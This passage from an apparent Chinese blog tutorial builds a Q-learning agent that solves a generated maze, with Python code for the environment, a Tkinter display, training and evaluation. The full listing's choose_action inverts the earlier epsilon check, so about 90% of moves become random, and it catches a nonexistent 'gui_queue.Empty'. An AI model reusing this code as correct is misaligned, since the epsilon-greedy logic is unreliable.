将 (x, y) 坐标转换为 q_table 的索引。        &quot;&quot;&quot;</span>        x, y = state        index = x * self.width + y        <span class="hljs-keyword">return</span> index</code></pre></li></ol><h4 id="agent"><a class="markdownIt-Anchor" href="#agent"></a> <strong>Agent</strong></h4><p>使用q-leaning</p><ol><li><p>创建q-leaning表</p><p>参数为n_states：迷宫的长*宽，actions：[‘LEFT’, ‘RIGHT’, ‘UP’, ‘DOWN’]</p><pre class="highlight"><code class="python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">build_q_table</span>(<span class="hljs-params">n_states: <span class="hljs-built_in">int</span>, actions: <span class="hljs-built_in">list</span>[<span class="hljs-built_in">str</span>]</span>) -&gt; pd.DataFrame:    table = pd.DataFrame(        np.zeros((n_states, <span class="hljs-built_in">len</span>(actions))),        columns=actions)    <span class="hljs-keyword">return</span> table</code></pre><p><img src="image-20240402101717762.png" alt="image-20240402101717762" /></p></li><li><p>行动决策</p><p>首先获取当前位置(state_idx)的决策概率，例如state_idx=0时，state_actions = [0.0, 0.0, 0.0, 0.0]。这里有一个超参EPSILON，用于在行动决策中划分多少概率随机选择一次行动。如果不使用随机决策则会取当前state_actions中概率最大的一个决策。</p><pre class="highlight"><code class="python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">choose_action</span>(<span class="hljs-params">state_idx, q_table: pd.DataFrame</span>) -&gt; <span class="hljs-built_in">str</span>:    <span class="hljs-comment"># 根据当前state状态和q_table选择action</span>    state_actions: np.ndarray = q_table.iloc[state_idx, :]    <span class="hljs-comment"># 随机选择的情况1.刚好是10%的随机状态 2.初始化状态</span>    <span class="hljs-keyword">if</span> np.random.uniform() &gt; (<span class="hljs-number">1</span> - EPSILON) <span class="hljs-keyword">or</span> state_actions.<span class="hljs-built_in">all</span>() == <span class="hljs-number">0</span>:        action_name = np.random.choice(ACTIONS)    <span class="hljs-keyword">else</span>:        action_name = state_actions.idxmax()    <span class="hljs-keyword">return</span> action_name</code></pre></li></ol><h4 id="train"><a class="markdownIt-Anchor" href="#train"></a> Train</h4><p>当Agent和Environment都实现后，可以开始编写q-leaning的训练了。</p><pre class="highlight"><code class="python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">save_q_table</span>(<span class="hljs-params">q_table</span>):    <span class="hljs-comment"># 获取当前日期并格式化为字符串</span>    date_suffix = datetime.now().strftime(<span class="hljs-string">&quot;%Y-%m-%d&quot;</span>)    filename = <span class="hljs-string">f&quot;q_table_<span class="hljs-subst">&#123;date_suffix&#125;</span>.npy&quot;</span>    np.save(filename, q_table)    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Q-table saved to <span class="hljs-subst">&#123;filename&#125;</span>&quot;</span>)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">train</span>(<span class="hljs-params">maze</span>):    q_table = build_q_table(maze.width * maze.height, ACTIONS)    <span class="hljs-built_in">print</span>(q_table)    <span class="hljs-keyword">for</span> episode <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(STEP):        step_counter = <span class="hljs-number">0</span>        is_final = <span class="hljs-literal">False</span>        S = maze.start_local        maze.update_env(maze, S, episode=episode, step_counter=step_counter)        <span class="hljs-keyword">while</span> <span class="hljs-keyword">not</span> is_final:            S_INDEX = maze.state_to_index(S)            A = choose_action(S_INDEX, q_table)            observation_, reward = maze.get_env_feedback(S, A)            q_predict = q_table.loc[S_INDEX, A]            <span class="hljs-keyword">if</span> reward != <span class="hljs-number">1</span>: <span class="hljs-comment"># 判断是否达到迷宫终点</span>              <span class="hljs-comment"># 未到达时，获取下一个坐标的index，并且计算对应的q_target值</span>                S__INDEX = maze.state_to_index(observation_)                <span class="hljs-comment"># LAMBDA为衰减超参</span>                q_target = reward + LAMBDA * q_table.iloc[S__INDEX, :].<span class="hljs-built_in">max</span>()            <span class="hljs-keyword">else</span>:                <span class="hljs-comment"># 达到时 q_target=1</span>                q_target = reward                is_final = <span class="hljs-literal">True</span><span class="hljs-comment"># 更新参数，ALPHA为leaning-rate超参</span>            q_table.loc[S_INDEX, A] += ALPHA * (q_target - q_predict)  <span class="hljs-comment"># 更新q-table</span>            S = observation_            step_counter += <span class="hljs-number">1</span>              maze.update_env(maze, S, episode=episode, step_counter=step_counter)    q_table_numpy = q_table.to_numpy()    <span class="hljs-comment"># 保存q-table</span>    save_q_table(q_table_numpy)    <span class="hljs-keyword">return</span> q_table</code></pre><p>附算法图：</p><p><img src="image-20240402103237474.png" alt="image-20240402103237474" /></p><p>训练结果截图：</p><p><img src="image-20240402103831675.png" alt="image-20240402103831675" /></p><h4 id="evaluate"><a class="markdownIt-Anchor" href="#evaluate"></a> Evaluate</h4><ol><li><p>编写MazeGUI，为了让测试具像化，并且使用moves统计测试时使用的步骤</p><pre class="highlight"><code class="">class MazeGUI:    def __init__(self, maze):        self.maze = maze        self.root = tk.Tk()        self.root.title(&quot;Maze&quot;)        self.size = 600  # 窗口尺寸        self.cell_width = self.size // len(maze.maze[0])        self.cell_height = self.size // len(maze.maze)        self.canvas = tk.Canvas(self.root, height=self.size, width=self.size, bg=&quot;white&quot;)        self.canvas.pack()        self.draw_maze()        self.player = self.canvas.create_rectangle(0, 0, self.cell_width, self.cell_height, fill=&quot;blue&quot;)  # 初始化玩家位置        self.gui_queue = Queue()        self.process_queue_updates()        self.moves = 0  # 用于步数统计        # 创建显示步数的Label组件        self.steps_label = tk.Label(self.root, text=f&quot;Moves: &#123;self.moves&#125;&quot;)        self.steps_label.pack()    def draw_maze(self):        for i, row in enumerate(self.maze.maze):            for j, cell in enumerate(row):                x0 = j * self.cell_width                y0 = i * self.cell_height                x1 = x0 + self.cell_width                y1 = y0 + self.cell_height                if cell == '*':  # 墙壁                    self.canvas.create_rectangle(x0, y0, x1, y1, fill=&quot;black&quot;)                elif cell == 'E':  # 终点                    self.canvas.create_rectangle(x0, y0, x1, y1, fill=&quot;red&quot;)                elif cell == 'S':  # 起点                    self.canvas.create_rectangle(x0, y0, x1, y1, fill=&quot;green&quot;)                elif cell == ' ':  # 空路                    self.canvas.create_rectangle(x0, y0, x1, y1, fill=&quot;white&quot;)    def update_player_position(self, new_position):        self.moves += 1  # 步数统计        self.steps_label.config(text=f&quot;Moves: &#123;self.moves&#125;&quot;)        x, y = new_position        if x &lt; 0 or y &lt; 0 or x &gt;= self.maze.height or y &gt;= self.maze.width:            print(&quot;Invalid move: Player cannot move outside the maze.&quot;)            return  # 返回，不执行移动        # 检查新位置是否是墙壁        if self.maze.maze[x][y] == '*':            print(&quot;Invalid move: Player cannot move into a wall.&quot;)        else:            # 更新玩家在画布上的坐标位置            self.canvas.coords(self.player,                               y * self.cell_width,  # 左上角x坐标                               x * self.cell_height,  # 左上角y坐标                               (y + 1) * self.cell_width,  # 右下角x坐标                               (x + 1) * self.cell_height)  # 右下角y坐标    def process_queue_updates(self):        try:            while not self.gui_queue.empty():                new_position = self.gui_queue.get_nowait()                # 假设你有一个方法来处理实际的更新                self.update_player_position(new_position)        except self.gui_queue.Empty:            pass        # 每隔100ms检查队列更新        self.root.after(100, self.process_queue_updates)    def show_steps(self):        # 这个方法被调用时，会作出计数并弹窗显示移动次数        messagebox.showinfo(&quot;Steps&quot;, f&quot;Number of moves: &#123;self.moves&#125;&quot;)    def reset(self):        # # 清除画布上的所有内容        # self.canvas.delete(&quot;all&quot;)        #        # self.draw_maze()        # 将玩家移动到迷宫的起点        self.update_player_position(self.maze.start_local)    def run(self):        self.root.mainloop()</code></pre></li><li><p>编写eval函数，验证时不需要采用随机化决策，直接从q-table中获取每一步的最大值决策即可。</p><pre class="highlight"><code class="">def eval(q_table, maze_gui):    S = maze_gui.maze.start_local    is_final = False    maze_gui.reset()  # 重置迷宫到初始状态，并在GUI中更新    while not is_final:        S_INDEX = maze_gui.maze.state_to_index(S)        # 总是选择最佳动作        A = q_table.iloc[S_INDEX, :].idxmax()        observation_, reward = maze_gui.maze.get_env_feedback(S, A)        # 对 GUI 做出更新        maze_gui.gui_queue.put(observation_)        # 延迟一小段时间，以便观察到玩家移动        time.sleep(0.3)        S = observation_  # 更新当前状态        # 终点检测        if reward == 1:            is_final = True    print(&quot;Evaluation complete.&quot;)</code></pre></li></ol><h4 id="完整实例"><a class="markdownIt-Anchor" href="#完整实例"></a> 完整实例</h4><p><a href="http://MazeGen.py">MazeGen.py</a></p><pre class="highlight"><code class="python"><span class="hljs-keyword">import</span> random<span class="hljs-keyword">import</span> tkinter <span class="hljs-keyword">as</span> tk<span class="hljs-keyword">from</span> tkinter <span class="hljs-keyword">import</span> messagebox<span class="hljs-keyword">from</span> queue <span class="hljs-keyword">import</span> Queue<span class="hljs-keyword">class</span> <span class="hljs-title class_">MazeGUI</span>:    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, maze</span>):        self.maze = maze        self.root = tk.Tk()        self.root.title(<span class="hljs-string">&quot;Maze&quot;</span>)        self.size = <span class="hljs-number">600</span>  <span class="hljs-comment"># 窗口尺寸</span>        self.cell_width = self.size // <span class="hljs-built_in">len</span>(maze.maze[<span class="hljs-number">0</span>])        self.cell_height = self.size // <span class="hljs-built_in">len</span>(maze.maze)        self.canvas = tk.Canvas(self.root, height=self.size, width=self.size, bg=<span class="hljs-string">&quot;white&quot;</span>)        self.canvas.pack()        self.draw_maze()        self.player = self.canvas.create_rectangle(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, self.cell_width, self.cell_height, fill=<span class="hljs-string">&quot;blue&quot;</span>)  <span class="hljs-comment"># 初始化玩家位置</span>        self.gui_queue = Queue()        self.process_queue_updates()        self.moves = <span class="hljs-number">0</span>  <span class="hljs-comment"># 用于步数统计</span>        <span class="hljs-comment"># 创建显示步数的Label组件</span>        self.steps_label = tk.Label(self.root, text=<span class="hljs-string">f&quot;Moves: <span class="hljs-subst">&#123;self.moves&#125;</span>&quot;</span>)        self.steps_label.pack()    <span class="hljs-keyword">def</span> <span class="hljs-title function_">draw_maze</span>(<span class="hljs-params">self</span>):        <span class="hljs-keyword">for</span> i, row <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(self.maze.maze):            <span class="hljs-keyword">for</span> j, cell <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(row):                x0 = j * self.cell_width                y0 = i * self.cell_height                x1 = x0 + self.cell_width                y1 = y0 + self.cell_height                <span class="hljs-keyword">if</span> cell == <span class="hljs-string">&#x27;*&#x27;</span>:  <span class="hljs-comment"># 墙壁</span>                    self.canvas.create_rectangle(x0, y0, x1, y1, fill=<span class="hljs-string">&quot;black&quot;</span>)                <span class="hljs-keyword">elif</span> cell == <span class="hljs-string">&#x27;E&#x27;</span>:  <span class="hljs-comment"># 终点</span>                    self.canvas.create_rectangle(x0, y0, x1, y1, fill=<span class="hljs-string">&quot;red&quot;</span>)                <span class="hljs-keyword">elif</span> cell == <span class="hljs-string">&#x27;S&#x27;</span>:  <span class="hljs-comment"># 起点</span>                    self.canvas.create_rectangle(x0, y0, x1, y1, fill=<span class="hljs-string">&quot;green&quot;</span>)                <span class="hljs-keyword">elif</span> cell == <span class="hljs-string">&#x27; &#x27;</span>:  <span class="hljs-comment"># 空路</span>                    self.canvas.create_rectangle(x0, y0, x1, y1, fill=<span class="hljs-string">&quot;white&quot;</span>)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">update_player_position</span>(<span class="hljs-params">self, new_position</span>):        self.moves += <span class="hljs-number">1</span>  <span class="hljs-comment"># 步数统计</span>        self.steps_label.config(text=<span class="hljs-string">f&quot;Moves: <span class="hljs-subst">&#123;self.moves&#125;</span>&quot;</span>)        x, y = new_position        <span class="hljs-keyword">if</span> x &lt; <span class="hljs-number">0</span> <span class="hljs-keyword">or</span> y &lt; <span class="hljs-number">0</span> <span class="hljs-keyword">or</span> x &gt;= self.maze.height <span class="hljs-keyword">or</span> y &gt;= self.maze.width:            <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Invalid move: Player cannot move outside the maze.&quot;</span>)            <span class="hljs-keyword">return</span>  <span class="hljs-comment"># 返回，不执行移动</span>        <span class="hljs-comment"># 检查新位置是否是墙壁</span>        <span class="hljs-keyword">if</span> self.maze.maze[x][y] == <span class="hljs-string">&#x27;*&#x27;</span>:            <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Invalid move: Player cannot move into a wall.&quot;</span>)        <span class="hljs-keyword">else</span>:            <span class="hljs-comment"># 更新玩家在画布上的坐标位置</span>            self.canvas.coords(self.player,                               y * self.cell_width,  <span class="hljs-comment"># 左上角x坐标</span>                               x * self.cell_height,  <span class="hljs-comment"># 左上角y坐标</span>                               (y + <span class="hljs-number">1</span>) * self.cell_width,  <span class="hljs-comment"># 右下角x坐标</span>                               (x + <span class="hljs-number">1</span>) * self.cell_height)  <span class="hljs-comment"># 右下角y坐标</span>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">process_queue_updates</span>(<span class="hljs-params">self</span>):        <span class="hljs-keyword">try</span>:            <span class="hljs-keyword">while</span> <span class="hljs-keyword">not</span> self.gui_queue.empty():                new_position = self.gui_queue.get_nowait()                <span class="hljs-comment"># 假设你有一个方法来处理实际的更新</span>                self.update_player_position(new_position)        <span class="hljs-keyword">except</span> self.gui_queue.Empty:            <span class="hljs-keyword">pass</span>        <span class="hljs-comment"># 每隔100ms检查队列更新</span>        self.root.after(<span class="hljs-number">100</span>, self.process_queue_updates)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">show_steps</span>(<span class="hljs-params">self</span>):        <span class="hljs-comment"># 这个方法被调用时，会作出计数并弹窗显示移动次数</span>        messagebox.showinfo(<span class="hljs-string">&quot;Steps&quot;</span>, <span class="hljs-string">f&quot;Number of moves: <span class="hljs-subst">&#123;self.moves&#125;</span>&quot;</span>)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">reset</span>(<span class="hljs-params">self</span>):        <span class="hljs-comment"># # 清除画布上的所有内容</span>        <span class="hljs-comment"># self.canvas.delete(&quot;all&quot;)</span>        <span class="hljs-comment">#</span>        <span class="hljs-comment"># self.draw_maze()</span>        <span class="hljs-comment"># 将玩家移动到迷宫的起点</span>        self.update_player_position(self.maze.start_local)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">run</span>(<span class="hljs-params">self</span>):        self.root.mainloop()<span class="hljs-keyword">class</span> <span class="hljs-title class_">Maze</span>:    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, width, height</span>):        self.width = width        self.height = height        self.maze = [[<span class="hljs-string">&#x27;*&#x27;</span> <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">2</span> * height + <span class="hljs-number">1</span>)] <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">2</span> * width + <span class="hljs-number">1</span>)]        self.start_local = <span class="hljs-literal">None</span>        self.final_local = <span class="hljs-literal">None</span>        self.generate_maze()        self._locate_start_and_final()    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_break_wall</span>(<span class="hljs-params">self, x, y</span>):        self.maze[<span class="hljs-number">2</span> * x + <span class="hljs-number">1</span>][<span class="hljs-number">2</span> * y + <span class="hljs-number">1</span>] = <span class="hljs-string">&#x27; &#x27;</span>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_carve_passages_from</span>(<span class="hljs-params">self, x, y</span>):        dire = [(<span class="hljs-number">1</span>, <span class="hljs-number">0</span>), (-<span class="hljs-number">1</span>, <span class="hljs-number">0</span>), (<span class="hljs-number">0</span>, <span class="hljs-number">1</span>), (<span class="hljs-number">0</span>, -<span class="hljs-number">1</span>)]        random.shuffle(dire)        <span class="hljs-keyword">for</span> dx, dy <span class="hljs-keyword">in</span> dire:            new_x = x + dx            new_y = y + dy            <span class="hljs-keyword">if</span> <span class="hljs-number">0</span> &lt;= new_x &lt; self.width <span class="hljs-keyword">and</span> <span class="hljs-number">0</span> &lt;= new_y &lt; self.height:                <span class="hljs-keyword">if</span> self.maze[<span class="hljs-number">2</span> * new_x + <span class="hljs-number">1</span>][<span class="hljs-number">2</span> * new_y + <span class="hljs-number">1</span>] == <span class="hljs-string">&#x27;*&#x27;</span>:                    self.maze[<span class="hljs-number">2</span> * x + <span class="hljs-number">1</span> + dx][<span class="hljs-number">2</span> * y + <span class="hljs-number">1</span> + dy] = <span class="hljs-string">&#x27; &#x27;</span>  <span class="hljs-comment"># Break wall</span>                    self._break_wall(new_x, new_y)                    self._carve_passages_from(new_x, new_y)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">generate_maze</span>(<span class="hljs-params">self</span>):        self._break_wall(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>)  <span class="hljs-comment"># Start point</span>        self._carve_passages_from(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>)        self.maze[<span class="hljs-number">0</span>][<span class="hljs-number">1</span>] = <span class="hljs-string">&#x27;S&#x27;</span>  <span class="hljs-comment"># Mark the start point</span>        self.maze[<span class="hljs-number">2</span> * self.width][<span class="hljs-number">2</span> * self.height - <span class="hljs-number">1</span>] = <span class="hljs-string">&#x27;E&#x27;</span>  <span class="hljs-comment"># Mark the end point</span>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_locate_start_and_final</span>(<span class="hljs-params">self</span>):        self.start_local = <span class="hljs-literal">None</span>        self.final_local = <span class="hljs-literal">None</span>        <span class="hljs-keyword">for</span> i, row <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(self.maze):            <span class="hljs-keyword">for</span> j, char <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(row):                <span class="hljs-keyword">if</span> char == <span class="hljs-string">&#x27;S&#x27;</span>:                    self.start_local = (i, j)                <span class="hljs-keyword">elif</span> char == <span class="hljs-string">&#x27;E&#x27;</span>:                    self.final_local = (i, j)        <span class="hljs-keyword">if</span> self.start_local <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span> <span class="hljs-keyword">or</span> self.final_local <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:            <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">&quot;起点或终点未在迷宫中找到。&quot;</span>)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">display</span>(<span class="hljs-params">self, maze=<span class="hljs-literal">None</span></span>):        <span class="hljs-keyword">if</span> maze <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:            <span class="hljs-keyword">for</span> row <span class="hljs-keyword">in</span> self.maze:                <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;&#x27;</span>.join(row))        <span class="hljs-keyword">else</span>:            <span class="hljs-keyword">for</span> row <span class="hljs-keyword">in</span> maze:                <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;&#x27;</span>.join(row))    <span class="hljs-keyword">def</span> <span class="hljs-title function_">save</span>(<span class="hljs-params">self, filename</span>):        <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(filename, <span class="hljs-string">&#x27;w&#x27;</span>) <span class="hljs-keyword">as</span> file:            <span class="hljs-keyword">for</span> row <span class="hljs-keyword">in</span> self.maze:                file.write(<span class="hljs-string">&#x27;&#x27;</span>.join(row) + <span class="hljs-string">&#x27;\n&#x27;</span>)<span class="hljs-meta">    @classmethod</span>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">load</span>(<span class="hljs-params">cls, filename</span>):        <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(filename, <span class="hljs-string">&#x27;r&#x27;</span>) <span class="hljs-keyword">as</span> file:            maze_data = [<span class="hljs-built_in">list</span>(line.strip()) <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> file]        <span class="hljs-comment"># 假设文件内容确定迷宫尺寸且迷宫规格是规整的（每行长度相同）</span>        height = <span class="hljs-built_in">len</span>(maze_data)        width = <span class="hljs-built_in">len</span>(maze_data[<span class="hljs-number">0</span>]) <span class="hljs-keyword">if</span> height &gt; <span class="hljs-number">0</span> <span class="hljs-keyword">else</span> <span class="hljs-number">0</span>        maze_obj = cls(width, height)  <span class="hljs-comment"># 创建 Maze 实例</span>        maze_obj.maze = maze_data        maze_obj._locate_start_and_final()        <span class="hljs-keyword">return</span> maze_obj    <span class="hljs-keyword">def</span> <span class="hljs-title function_">get_env_feedback</span>(<span class="hljs-params">self, state, action</span>):        <span class="hljs-string">&quot;&quot;&quot;        根据当前的状态和行动，返回下一个状态和奖励。        state: 当前的状态，即当前的坐标 (x, y)        action: 当前采取的行动。&#x27;UP&#x27;, &#x27;DOWN&#x27;, &#x27;LEFT&#x27;, &#x27;RIGHT&#x27; 中的一个。        返回: 下一个状态和奖励。        &quot;&quot;&quot;</span>        <span class="hljs-comment"># 计算下一步的位置</span>        x, y = state        <span class="hljs-keyword">if</span> action == <span class="hljs-string">&#x27;UP&#x27;</span>:            next_state = (<span class="hljs-built_in">max</span>(x - <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), y)        <span class="hljs-keyword">elif</span> action == <span class="hljs-string">&#x27;DOWN&#x27;</span>:            next_state = (<span class="hljs-built_in">min</span>(x + <span class="hljs-number">1</span>, <span class="hljs-number">2</span> * self.height), y)        <span class="hljs-keyword">elif</span> action == <span class="hljs-string">&#x27;LEFT&#x27;</span>:            next_state = (x, <span class="hljs-built_in">max</span>(y - <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))        <span class="hljs-keyword">elif</span> action == <span class="hljs-string">&#x27;RIGHT&#x27;</span>:            next_state = (x, <span class="hljs-built_in">min</span>(y + <span class="hljs-number">1</span>, <span class="hljs-number">2</span> * self.width))        <span class="hljs-keyword">else</span>:            next_state = state  <span class="hljs-comment"># 无效的行动</span>        <span class="hljs-comment"># 检查下一步是否为墙(&#x27;*&#x27;)或终点(&#x27;E&#x27;)</span>        next_x, next_y = next_state        <span class="hljs-keyword">if</span> self.maze[next_x][next_y] == <span class="hljs-string">&#x27;*&#x27;</span>:            reward = -<span class="hljs-number">1</span>  <span class="hljs-comment"># 如果撞墙，给予负奖励</span>            next_state = state  <span class="hljs-comment"># 状态不改变</span>        <span class="hljs-keyword">elif</span> self.maze[next_x][next_y] == <span class="hljs-string">&#x27;E&#x27;</span>:            reward = <span class="hljs-number">1</span>  <span class="hljs-comment"># 如果到达终点，给予正奖励</span>        <span class="hljs-keyword">else</span>:            reward = <span class="hljs-number">0</span>  <span class="hljs-comment"># 否则，没有奖励</span>        <span class="hljs-keyword">return</span> next_state, reward    <span class="hljs-keyword">def</span> <span class="hljs-title function_">update_env</span>(<span class="hljs-params">self, maze, state, episode, step_counter</span>):        <span class="hljs-keyword">if</span> state == maze.final_local:            <span class="hljs-comment"># 先创建一个迷宫的副本以便更新显示</span>            updated_maze = [row.copy() <span class="hljs-keyword">for</span> row <span class="hljs-keyword">in</span> maze.maze]            <span class="hljs-comment"># 确定玩家的当前位置，并标记，在这个例子中，我们使用 &#x27;P&#x27; 来表示玩家的当前位置</span>            x, y = state  <span class="hljs-comment"># 假设状态为 (x, y) 坐标的函数</span>            updated_maze[x][y] = <span class="hljs-string">&#x27;P&#x27;</span>  <span class="hljs-comment"># &#x27;P&#x27; 表示玩家当前位置</span>            <span class="hljs-comment"># 清屏操作，以便更新时清除旧的迷宫状态</span>            <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;\033[H\033[J&quot;</span>, end=<span class="hljs-string">&quot;&quot;</span>)            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Episode: <span class="hljs-subst">&#123;episode&#125;</span>, Step: <span class="hljs-subst">&#123;step_counter&#125;</span>&quot;</span>)            self.display(updated_maze)  <span class="hljs-comment"># 假设 print_maze 是打印迷宫状态的函数</span>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">state_to_index</span>(<span class="hljs-params">self, state</span>):        <span class="hljs-string">&quot;&quot;&quot;        将 (x, y) 坐标转换为 q_table 的索引。        &quot;&quot;&quot;</span>        x, y = state        index = x * self.width + y        <span class="hljs-keyword">return</span> index</code></pre><p><a href="http://Q-leaning.py">Q-leaning.py</a></p><pre class="highlight"><code class="python"><span class="hljs-keyword">import</span> random<span class="hljs-keyword">import</span> time<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime<span class="hljs-keyword">import</span> threading<span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np<span class="hljs-keyword">import</span> pandas <span class="hljs-keyword">as</span> pd<span class="hljs-keyword">from</span> MazeGen <span class="hljs-keyword">import</span> MazeGUI, Maze<span class="hljs-comment"># 超参</span>ACTIONS = [<span class="hljs-string">&#x27;LEFT&#x27;</span>, <span class="hljs-string">&#x27;RIGHT&#x27;</span>, <span class="hljs-string">&#x27;UP&#x27;</span>, <span class="hljs-string">&#x27;DOWN&#x27;</span>]EPSILON = <span class="hljs-number">0.1</span>  <span class="hljs-comment"># 贪婪策略，决策概率（0.1部分为随机）</span>ALPHA = <span class="hljs-number">0.1</span>  <span class="hljs-comment"># learning rate</span>LAMBDA = <span class="hljs-number">0.9</span>  <span class="hljs-comment"># 衰减值： 0完全不看未来的见过，1考虑未来的每一个结果</span>STEP = <span class="hljs-number">300</span>  <span class="hljs-comment"># 训练轮数</span>FRESH_TIME = <span class="hljs-number">0.3</span>  <span class="hljs-comment"># 每一步骤停顿时间</span>random.seed(<span class="hljs-number">13</span>)<span class="hljs-keyword">def</span> <span class="hljs-title function_">build_q_table</span>(<span class="hljs-params">n_states: <span class="hljs-built_in">int</span>, actions: <span class="hljs-built_in">list</span>[<span class="hljs-built_in">str</span>]</span>) -&gt; pd.DataFrame:    table = pd.DataFrame(        np.zeros((n_states, <span class="hljs-built_in">len</span>(actions))),        columns=actions)    <span class="hljs-keyword">return</span> table<span class="hljs-keyword">def</span> <span class="hljs-title function_">choose_action</span>(<span class="hljs-params">state_idx, q_table: pd.DataFrame</span>) -&gt; <span class="hljs-built_in">str</span>:    <span class="hljs-comment"># 根据当前state状态和q_table选择action</span>    state_actions: np.ndarray = q_table.iloc[state_idx, :]    <span class="hljs-comment"># 随机选择的情况1.刚好是10%的随机状态 2.初始化状态</span>    <span class="hljs-keyword">if</span> np.random.uniform() &gt; EPSILON <span class="hljs-keyword">or</span> state_actions.<span class="hljs-built_in">all</span>() == <span class="hljs-number">0</span>:        action_name = np.random.choice(ACTIONS)    <span class="hljs-keyword">else</span>:        action_name = state_actions.idxmax()    <span class="hljs-keyword">return</span> action_name<span class="hljs-keyword">def</span> <span class="hljs-title function_">save_q_table</span>(<span class="hljs-params">q_table</span>):    <span class="hljs-comment"># 获取当前日期并格式化为字符串</span>    date_suffix = datetime.now().strftime(<span class="hljs-string">&quot;%Y-%m-%d&quot;</span>)    filename = <span class="hljs-string">f&quot;q_table_<span class="hljs-subst">&#123;date_suffix&#125;</span>.npy&quot;</span>    np.save(filename, q_table)    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Q-table saved to <span class="hljs-subst">&#123;filename&#125;</span>&quot;</span>)<span class="hljs-keyword">def</span> <span class="hljs-title function_">train</span>(<span class="hljs-params">maze</span>):    q_table = build_q_table(maze.width * maze.height, ACTIONS)    <span class="hljs-built_in">print</span>(q_table)    <span class="hljs-keyword">for</span> episode <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(STEP):        step_counter = <span class="hljs-number">0</span>        is_final = <span class="hljs-literal">False</span>        S = maze.start_local        maze.update_env(maze, S, episode=episode, step_counter=step_counter)        <span class="hljs-keyword">while</span> <span class="hljs-keyword">not</span> is_final:            S_INDEX = maze.state_to_index(S)            A = choose_action(S_INDEX, q_table)            observation_, reward = maze.get_env_feedback(S, A)            q_predict = q_table.loc[S_INDEX, A]            <span class="hljs-keyword">if</span> reward != <span class="hljs-number">1</span>:                S__INDEX = maze.state_to_index(observation_)                q_target = reward + LAMBDA * q_table.iloc[S__INDEX, :].<span class="hljs-built_in">max</span>()            <span class="hljs-keyword">else</span>:                q_target = reward                is_final = <span class="hljs-literal">True</span>            q_table.loc[S_INDEX, A] += ALPHA * (q_target - q_predict)  <span class="hljs-comment"># 更新q-table</span>            S = observation_            step_counter += <span class="hljs-number">1</span>            maze.update_env(maze, S, episode=episode, step_counter=step_counter)    q_table_numpy = q_table.to_numpy()    <span class="hljs-comment"># 保存q-table</span>    save_q_table(q_table_numpy)    <span class="hljs-keyword">return</span> q_table<span class="hljs-keyword">def</span> <span class="hljs-title function_">eval</span>(<span class="hljs-params">q_table, maze_gui</span>):    S = maze_gui.maze.start_local    is_final = <span class="hljs-literal">False</span>    maze_gui.reset()  <span class="hljs-comment"># 重置迷宫到初始状态，并在GUI中更新</span>    <span class="hljs-keyword">while</span> <span class="hljs-keyword">not</span> is_final:        S_INDEX = maze_gui.maze.state_to_index(S)        <span class="hljs-comment"># 总是选择最佳动作</span>        A = q_table.iloc[S_INDEX, :].idxmax()        observation_, reward = maze_gui.maze.get_env_feedback(S, A)        <span class="hljs-comment"># 对 GUI 做出更新</span>        maze_gui.gui_queue.put(observation_)        <span class="hljs-comment"># 延迟一小段时间，以便观察到玩家移动</span>        time.sleep(<span class="hljs-number">0.3</span>)        S = observation_  <span class="hljs-comment"># 更新当前状态</span>        <span class="hljs-comment"># 终点检测</span>        <span class="hljs-keyword">if</span> reward == <span class="hljs-number">1</span>:            is_final = <span class="hljs-literal">True</span>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Evaluation complete.&quot;</span>)<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:    maze = Maze.load(<span class="hljs-string">&#x27;my_maze.txt&#x27;</span>)    q_table = train(maze)    <span class="hljs-built_in">print</span>(q_table)    maze_gui = MazeGUI(maze)    threading.Thread(target=<span 